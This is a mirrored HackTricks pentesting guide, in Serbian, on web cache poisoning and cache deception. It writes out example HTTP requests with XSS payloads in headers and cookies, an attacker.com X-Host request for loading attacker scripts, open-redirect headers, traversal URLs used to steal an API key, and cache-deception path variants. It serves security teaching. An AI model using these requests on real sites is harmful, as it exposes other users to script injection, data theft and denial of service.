Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md

18 KiB
Raw Blame History

Trovanje keša i prevara keša

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da lako izgradite i automatizujete tokove rada pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Razlika

Koja je razlika između trovanja keša na vebu i prevare keša na vebu?

  • U trovanju keša na vebu, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
  • U prevari keša na vebu, napadač uzrokuje da aplikacija sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima taj sadržaj iz keša.

Trovanje keša

Trovanje keša ima za cilj manipulisanje kešom na strani klijenta kako bi se naterali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer zagađeni odgovor se servira isključivo korisnicima koji posećuju stranicu tokom perioda zagađenja keša.

Izvođenje napada trovanja keša uključuje nekoliko koraka:

  1. Identifikacija neindeksiranih ulaza: To su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji vraća server. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
  2. Iskorišćavanje neindeksiranih ulaza: Nakon identifikacije neindeksiranih ulaza, sledeći korak je saznati kako zloupotrebiti ove parametre kako bi se izmenio odgovor servera na način koji koristi napadaču.
  3. Osiguravanje da je zagađeni odgovor keširan: Poslednji korak je osigurati da je manipulisani odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš zagađen će dobiti zagađeni odgovor.

Otkrivanje: Provera HTTP zaglavlja

Obično, kada je odgovor sačuvan u kešu, postoji zaglavlje koje to pokazuje, možete proveriti na koja zaglavlja treba da obratite pažnju u ovom postu: HTTP zaglavlja keša.

Otkrivanje: Keširanje koda 400

Ako sumnjate da se odgovor čuva u kešu, možete pokušati slati zahteve sa lošim zaglavljima, na koje bi trebalo da se odgovori sa status kodom 400. Zatim pokušajte da pristupite zahtevu na uobičajen način i ako je odgovor status kod 400, znate da je ranjiv (i čak biste mogli izvesti DoS).
Loše konfigurisano zaglavlje može biti samo \: kao zaglavlje.
Napomena da se ponekad ovi tipovi statusnih kodova ne keširaju pa će ovaj test biti beskoristan.

Otkrivanje: Identifikacija i procena neindeksiranih ulaza

Možete koristiti Param Miner da bruteforce-ujete parametre i zaglavlja koji mogu promeniti odgovor stranice. Na primer, stranica može koristiti zaglavlje X-Forwarded-For da bi pokazala klijentu da učita skriptu odande:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Izazovite štetan odgovor sa serverske strane

Sa identifikovanim parametrom/headerom proverite kako se filtrira i gde se odražava ili utiče na odgovor iz headera. Možete li ga zloupotrebiti na bilo koji način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...)

Dobijanje keširanog odgovora

Kada ste identifikovali stranicu koja može biti zloupotrebljena, koji parametar/header koristiti i kako ga zloupotrebiti, trebate dobiti stranicu keširanu. Zavisno od resursa koji pokušavate dobiti u kešu, ovo može potrajati neko vreme, možda ćete morati pokušavati nekoliko sekundi.
Header X-Cache u odgovoru može biti veoma koristan jer može imati vrednost miss kada zahtev nije bio keširan i vrednost hit kada je keširan.
Header Cache-Control je takođe interesantan kako biste znali da li se resurs kešira i kada će sledeći put resurs ponovo biti keširan: Cache-Control: public, max-age=1800
Još jedan interesantan header je Vary. Ovaj header se često koristi da ukazuje na dodatne headere koji se tretiraju kao deo ključa keša čak i ako obično nisu ključni. Stoga, ako korisnik zna User-Agent žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifičan User-Agent.
Još jedan header koji se odnosi na keš je Age. Definiše vreme u sekundama koliko je objekat bio u kešu proxy servera.

Prilikom keširanja zahteva, budite oprezni sa headerima koje koristite jer neki od njih mogu biti neočekivano korišćeni kao ključni i žrtva će morati koristiti isti header. Uvek testirajte Trovanje Keša sa različitim pregledačima da biste proverili da li radi.

Primeri eksploatacije

Najjednostavniji primer

Header poput X-Forwarded-For se odražava u odgovoru nefiltriran.
Možete poslati osnovni XSS payload i otrovati keš tako da će svako ko pristupi stranici biti izložen XSS napadu:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Korišćenje trovanja keša veb stranica za iskorišćavanje ranjivosti u rukovanju kolačićima

Kolačići takođe mogu biti reflektovani u odgovoru stranice. Ako možete zloupotrebiti to da izazovete XSS na primer, možete iskoristiti XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Trovanje keša sa putanjskim prelaskom da bi se ukrao API ključ

Ovaj opis objašnjava kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 jer će sve što odgovara /share/* biti keširano bez normalizacije URL-a od strane Cloudflare-a, što je urađeno kada je zahtev stigao do veb servera.

Korišćenje više zaglavlja za eksploataciju ranjivosti trovanja keša na vebu

Ponekad će biti potrebno eksploatisati nekoliko neindeksiranih unosa kako biste mogli zloupotrebiti keš. Na primer, možete pronaći Otvoreno preusmeravanje ako postavite X-Forwarded-Host na domen koji kontrolišete i X-Forwarded-Scheme na http. Ako je server preusmeravao sve HTTP zahteve na HTTPS i koristio zaglavlje X-Forwarded-Scheme kao ime domena za preusmeravanje. Možete kontrolisati gde će stranica biti usmerena preusmeravanjem.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Iskorišćavanje sa ograničenim Vary zaglavljem

Ako ste otkrili da se zaglavlje X-Host koristi kao ime domena za učitavanje JS resursa ali da Vary zaglavlje u odgovoru ukazuje na User-Agent. Zatim, trebate pronaći način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Iskorišćavanje HTTP Cache Trovanja zloupotrebom HTTP Request Smuggling

Saznajte kako izvesti napade Cache Trovanja zloupotrebom HTTP Request Smuggling.

Automatizovano testiranje za Web Cache Trovanje

Alat Web Cache Vulnerability Scanner može se koristiti za automatsko testiranje web cache trovanja. Podržava mnoge različite tehnike i visoko je prilagodljiv.

Primer korišćenja: wcvs -u example.com


Koristite Trickest da lako kreirate i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Vulnerabilni Primeri

Apache Traffic Server (CVE-2021-27577)

ATS je prosleđivao fragment unutar URL-a bez uklanjanja istog i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Dakle, zahtev /#/../?r=javascript:alert(1) je poslat backend-u kao /#/../?r=javascript:alert(1) i ključ keša nije sadržavao payload unutar sebe, već samo host, putanju i upit.

GitHub CP-DoS

Slanje loše vrednosti u zaglavlju content-type pokrenulo je keširan odgovor 405. Ključ keša je sadržavao kolačić tako da je bilo moguće napasti samo neautentifikovane korisnike.

GitLab + GCP CP-DoS

GitLab koristi GCP bucket-e za skladištenje statičkog sadržaja. GCP Bucket-i podržavaju zaglavlje x-http-method-override. Tako je bilo moguće poslati zaglavlje x-http-method-override: HEAD i otrovati keš tako da vrati prazno telo odgovora. Takođe je mogao podržavati metod PURGE.

Rack Middleware (Ruby on Rails)

U Ruby on Rails aplikacijama često se koristi Rack middleware. Svrsishodnost Rack koda je da uzme vrednost zaglavlja x-forwarded-scheme i postavi je kao šemu zahteva. Kada se pošalje zaglavlje x-forwarded-scheme: http, dolazi do 301 preusmerenja na istu lokaciju, što potencijalno može izazvati DoS (Denial of Service) za taj resurs. Dodatno, aplikacija može prepoznati zaglavlje X-forwarded-host i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa servera napadača, predstavljajući sigurnosni rizik.

403 i Skladišni Bucket-i

Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa neispravnim Autorizacijskim zaglavljima rezultovao bi 403 odgovorom koji bi bio keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može još uvek biti prisutno u drugim proxy uslugama.

Ubacivanje Ključnih Parametara

Kešovi često uključuju određene GET parametre u ključ keša. Na primer, Fastly-jev Varnish je keširao size parametar u zahtevima. Međutim, ako je URL-kodirana verzija parametra poslata sa neispravnom vrednošću, ključ keša bi bio konstruisan koristeći ispravan size parametar. Ipak, backend bi obradio vrednost u URL-kodiranom parametru. URL-kodiranje drugog size parametra dovelo je do njegovog izostavljanja iz keša, ali njegovo korišćenje od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanjem 400 Bad Request greške.

Pravila Korisničkog Agent

Neki programeri blokiraju zahteve sa korisničkim agentima koji se podudaraju sa onima visokoprometnih alata poput FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti poput keš trovanja i DoS-a.

Nezakonita Zaglavlja

RFC7230 specificira prihvatljive karaktere u imenima zaglavlja. Zaglavlja koja sadrže karaktere van navedenog opsega tchar idealno bi trebala pokrenuti odgovor 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje zaglavlja sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok zaglavlje cache-control nije prisutno. Identifikovan je iskorišćiv obrazac gde slanje zaglavlja sa nevažećim karakterom, poput \, rezultuje keširanom 400 Bad Request greškom.

Pronalaženje novih zaglavlja

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Prevara

Cilj Cache Prevara je da natera klijente da učitavaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama.

Pre svega, napomenimo da su ekstenzije poput .css, .js, .png itd. obično konfigurisane da se sačuvaju u kešu. Stoga, ako pristupite www.example.com/profile.php/nonexistent.js, keš će verovatno sačuvati odgovor jer vidi ekstenziju .js. Međutim, ako aplikacija ponavlja sa osetljivim korisničkim sadržajima sačuvanim u www.example.com/profile.php, možete ukrasti te sadržaje od drugih korisnika.

Drugi testovi:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Koristite manje poznate ekstenzije poput .avif

Još jedan veoma jasan primer može se naći u ovom opisu: https://hackerone.com/reports/593712.
U primeru je objašnjeno da ako učitate nepostojeću stranicu poput http://www.example.com/home.php/non-existent.css, sadržaj http://www.example.com/home.php (sa osetljivim informacijama korisnika) će biti vraćen i keš server će sačuvati rezultat.
Zatim, napadač može pristupiti http://www.example.com/home.php/non-existent.css u svom pregledaču i posmatrati poverljive informacije korisnika koji su pristupili prethodno.

Napomena da bi keš proxy trebalo da bude konfigurisan da kešira fajlove bazirano na ekstenziji fajla (.css) a ne na osnovu tipa sadržaja. U primeru http://www.example.com/home.php/non-existent.css će imati text/html tip sadržaja umesto text/css MIME tipa (što se očekuje za .css fajl).

Saznajte kako izvesti Napade Cache Prevara zloupotrebom HTTP Request Smuggling.

Automatski Alati

  • toxicache: Golang skener za pronalaženje ranjivosti web cache trovanja na listi URL-ova i testiranje više tehnika ubacivanja.

Reference


Koristite Trickest da lako kreirate i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: